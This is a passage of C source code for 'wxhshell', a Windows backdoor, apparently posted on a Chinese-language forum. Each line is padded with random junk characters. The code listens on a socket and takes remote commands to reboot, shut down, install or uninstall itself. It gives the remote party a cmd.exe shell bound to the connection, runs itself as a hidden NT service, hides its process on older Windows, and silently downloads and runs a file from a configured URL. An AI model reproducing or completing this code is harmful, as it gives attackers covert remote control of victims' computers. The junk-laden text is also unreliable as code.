    switch(cmd[0]) { M B,P#7|  
  07dUBoq  
  // 帮助 PX1Scvi  
  case '?': { D3emO'`gQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vDAv/l9  
    break; pY9>z;qD  
  } tF d^5A*  
  // 安装 _\Cd.  
  case 'i': { y|+ltAK  
    if(Install()) T\ h_8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v1j]&3O  
    else xR, ;^R|C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R.)U<`||  
    break; !jDqRXi(  
    } i#~1|2  
  // 卸载 9N'um%J3%s  
  case 'r': { y'k4>,`9e  
    if(Uninstall()) 9/k?Lv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (dC<N3  
    else &sx|sLw)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |k4ZTr]?  
    break; q[3b i!Q  
    } )>LC*_v  
  // 显示 wxhshell 所在路径 r4c3t,L*$I  
  case 'p': { #dGg !D  
    char svExeFile[MAX_PATH]; \[+\JWJj  
    strcpy(svExeFile,"\n\r"); "Rp]2'?  
      strcat(svExeFile,ExeFile); dkQA[/k  
        send(wsh,svExeFile,strlen(svExeFile),0); nA]dQ+5sT  
    break; C"IP1N  
    } Fq5);sX=  
  // 重启 0OMyE9jJJ  
  case 'b': { []Z| *+=Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XjwTjgL<  
    if(Boot(REBOOT)) `<>8tZS9"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A{E0 a:v  
    else { Y4Z?`TL  
    closesocket(wsh); t747SZWgB  
    ExitThread(0); NwG&uc+Q  
    } 9CWUhS   
    break; o+O\VNW  
    } 1*r {%6  
  // 关机 FK#>E[[  
  case 'd': { lm&C!{K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~::gLm+f  
    if(Boot(SHUTDOWN)) 9& W\BQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =k[!p'~jD  
    else { 3RRZVc* ^  
    closesocket(wsh); ,U'Er#U  
    ExitThread(0); /d >fp  
    } Z3R..vy8  
    break; ?#kI9n<O  
    } A?;/]m;  
  // 获取shell ryx<^q  
  case 's': { j86s[Dty  
    CmdShell(wsh); I01On>"@7  
    closesocket(wsh); i*Y/q-N|  
    ExitThread(0); 't{=n[  
    break; 5Tp n`2F  
  } |U^ ff^]  
  // 退出 2uWzcy ?F  
  case 'x': { ~pj9_I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L#u6_`XJ+  
    CloseIt(wsh); RkLH}`#  
    break; XR\ iQ  
    } KX<RD|=  
  // 离开 jVRd[  
  case 'q': { X2i<2N*@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eS@RA2  
    closesocket(wsh); mc(&'U8R0I  
    WSACleanup(); -r-`T s  
    exit(1); \lR~!6:  
    break; =WEfo;  
        } xel&8 `  
  } ~.x!st}  
  } @-b}iP<T  
H[,.nH_>+  
  // 提示信息 >M:5yk@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4g1u9Sc0  
} JpD YB  
  } 5Cy)#Z{  
GN1cnM>`  
  return; X\%],"9%  
} {b<8Z*4W  
)X^nzhZ2O"  
// shell模块句柄 X Y4s  
int CmdShell(SOCKET sock) #zy,x  
{ _-8,}F}W#s  
STARTUPINFO si; !Q7   
ZeroMemory(&si,sizeof(si)); jSYj+k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C#I),LE|d{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;#~ !`>n?  
PROCESS_INFORMATION ProcessInfo; (tq)64XVz  
char cmdline[]="cmd"; b vu` =  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yl'~H;su  
  return 0; WejY b;KS  
} ',!#?aGV  
2qr%xK'^B  
// 自身启动模式 N'`*#UI+  
int StartFromService(void) n1ED _9  
{ 2tr2:PB`  
typedef struct pb{P[-f  
{ 5e2m EQU>  
  DWORD ExitStatus; d,QJf\fc"  
  DWORD PebBaseAddress; VS).!;>z  
  DWORD AffinityMask; XPEjMm'*b3  
  DWORD BasePriority; akqXh 9g  
  ULONG UniqueProcessId; `a6;*r y  
  ULONG InheritedFromUniqueProcessId; tcX7Ua(I`  
}   PROCESS_BASIC_INFORMATION; 95!xTf  
"Z{^i3 gN  
PROCNTQSIP NtQueryInformationProcess; nlmkkTHF8  
8Peqm?{5Y5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bm+ Mr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DSjo%Brd-  
q$t& *O_  
  HANDLE             hProcess; hsE!3[[  
  PROCESS_BASIC_INFORMATION pbi; }]s~L9_z['  
*TXq/ 3g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^2??]R&Q  
  if(NULL == hInst ) return 0; gR(c;  
KcU,RTE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B\=&v8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cKfYkJ)A'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m|7g{vHVV  
NFSPw` f  
  if (!NtQueryInformationProcess) return 0; ZbGyl}8ua  
isd[l-wAmf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ka{IueSs  
  if(!hProcess) return 0; R #ZDB]2  
Yj"UD:p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X! ]~]%K$y  
#YNb&K n  
  CloseHandle(hProcess); -Qgfo|po  
hW},%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7Ow7|  
if(hProcess==NULL) return 0; PLY7qM w  
S77Gc:[;8  
HMODULE hMod; E+2y-B)E  
char procName[255]; 4YCGh  
unsigned long cbNeeded; ?eO|s5r  
82=][9d #  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1Jd:%+T  
08` @u4  
  CloseHandle(hProcess); @E)XT\;3  
qQ_B[?+W  
if(strstr(procName,"services")) return 1; // 以服务启动 i Bi/9  
ZV U9t  
  return 0; // 注册表启动 kU Flp  
} dg!sRm1iZ:  
UEeqk"t^  
// 主模块 bCrB'&^t  
int StartWxhshell(LPSTR lpCmdLine) 2<O8=I _  
{ f6"j-IW[z  
  SOCKET wsl; "L)pH@)  
BOOL val=TRUE; ES~]rPVS  
  int port=0; }n=NHHtJ  
  struct sockaddr_in door; f65Sr"qB3  
VO`A  
  if(wscfg.ws_autoins) Install(); J91`wA&r  
:d#NnR0^L  
port=atoi(lpCmdLine); Kaa*;T![  
/f[_]LeV]  
if(port<=0) port=wscfg.ws_port; 8vRiVJ8QS:  
lrE0)B5F  
  WSADATA data; M,@SUu v"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z~|J"2.  
QEgv,J{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b?$09,{0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8j$q%g  
  door.sin_family = AF_INET; 6vA5L_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3pp w_?k  
  door.sin_port = htons(port); R3PhKdQ"  
G#V22Wca8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e>^R 8qM?  
closesocket(wsl); P2p^jm   
return 1; k Mo)4 Xp  
} _e 3'f:  
$!f$R`R^Q\  
  if(listen(wsl,2) == INVALID_SOCKET) { `R> O5Rv  
closesocket(wsl); t5k&xV=~ #  
return 1; )yP>}ME  
} o7+/v70D  
  Wxhshell(wsl); RFC;1+Jn  
  WSACleanup(); fz&}N`n  
.9xGLmg  
return 0; Ae#6=]V+^  
MH?B .2  
} FCWphpz  
(Gn[T1p?  
// 以NT服务方式启动 7q2YsI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -AT@M1K7%  
{ zT% kx:Fk  
DWORD   status = 0; =/;_7|ssd  
  DWORD   specificError = 0xfffffff; P1QJ'eC;T  
Kq$Zyf=E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ie!4z34  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W!k6qTz)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3EvA 5K.  
  serviceStatus.dwWin32ExitCode     = 0; #+;=ijyF  
  serviceStatus.dwServiceSpecificExitCode = 0; taQ[>x7b  
  serviceStatus.dwCheckPoint       = 0; 6`C27  
  serviceStatus.dwWaitHint       = 0; 7|-xM>L$A  
$ZRN#x@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zEW:Xe)  
  if (hServiceStatusHandle==0) return; fq|2E&&v  
_&/Zab5  
status = GetLastError(); Z@ kC28  
  if (status!=NO_ERROR) @nP}q!y  
{ {Y[D!W2y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DVJc-.x8  
    serviceStatus.dwCheckPoint       = 0; q UnFEg  
    serviceStatus.dwWaitHint       = 0; arP+(1U  
    serviceStatus.dwWin32ExitCode     = status; pqSE|3*l  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1,T9HpM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {yHfE,  
    return; L\ %_<2  
  } )US/bC!M$  
AG7}$O.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }dUC^04  
  serviceStatus.dwCheckPoint       = 0; i!3KG|V  
  serviceStatus.dwWaitHint       = 0; d_+8=nh3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C]fTV{  
} )^N8L<   
,[\(U!Z7:%  
// 处理NT服务事件,比如:启动、停止 tZ^;{sM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aA`q!s.%A  
{ wIF ":'  
switch(fdwControl) !5j3gr ~  
{ >~rd5xlk  
case SERVICE_CONTROL_STOP: [bG>qe1}&  
  serviceStatus.dwWin32ExitCode = 0; $O'2oeM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *fSM'q;  
  serviceStatus.dwCheckPoint   = 0; SN(=e#ljE  
  serviceStatus.dwWaitHint     = 0; ^-u HdafP  
  { w<Cmzkf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \bic.0-  
  } $>=Nb~t!/  
  return; RRqMwy>%  
case SERVICE_CONTROL_PAUSE: wW8 6rB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rfRo*u2"  
  break; o%%x'uC  
case SERVICE_CONTROL_CONTINUE: =h::VB}Lv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &ZN'Ey?  
  break; 0:'jU  
case SERVICE_CONTROL_INTERROGATE: /K) b0QX  
  break; yZp:hs#  
}; VaSNFl1_M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wLSZL  
} Qz+d[%Q}x  
jF{gDK  
// 标准应用程序主函数 &&1Y"dFs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -]\E}Ti  
{ df6&Nu;4L  
9K46>_TyH  
// 获取操作系统版本 Cz r4 -#2  
OsIsNt=GetOsVer(); MLBg_<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kA%OF*%|6  
&ORv bnd6  
  // 从命令行安装 z<6P3x|  
  if(strpbrk(lpCmdLine,"iI")) Install(); }c4E 2c  
+?Jk@lE<  
  // 下载执行文件 gAA %x 7  
if(wscfg.ws_downexe) { ; axa ZV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K#UA M .  
  WinExec(wscfg.ws_filenam,SW_HIDE); -`dxx)x  
} ZBR^[OXO  
3>9dJx4I  
if(!OsIsNt) { #IaBl?}r^  
// 如果时win9x,隐藏进程并且设置为注册表启动 $Kz\ h#}  
HideProc(); yp{F 8V 8  
StartWxhshell(lpCmdLine); UD<^r]'x  
} v?D kDnta  
else W(a'^ #xe  
  if(StartFromService()) ZqbM%(=z(`  
  // 以服务方式启动 1mn$Rh&dO  
  StartServiceCtrlDispatcher(DispatchTable); C}= _8N  
else d=(Yl r  
  // 普通方式启动 $^=jPk]+  
  StartWxhshell(lpCmdLine); '%-xe3  
8U<.16+5Q  
return 0; mXU?+G0  
}
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只看该作者 1 发表于: 2006-10-10
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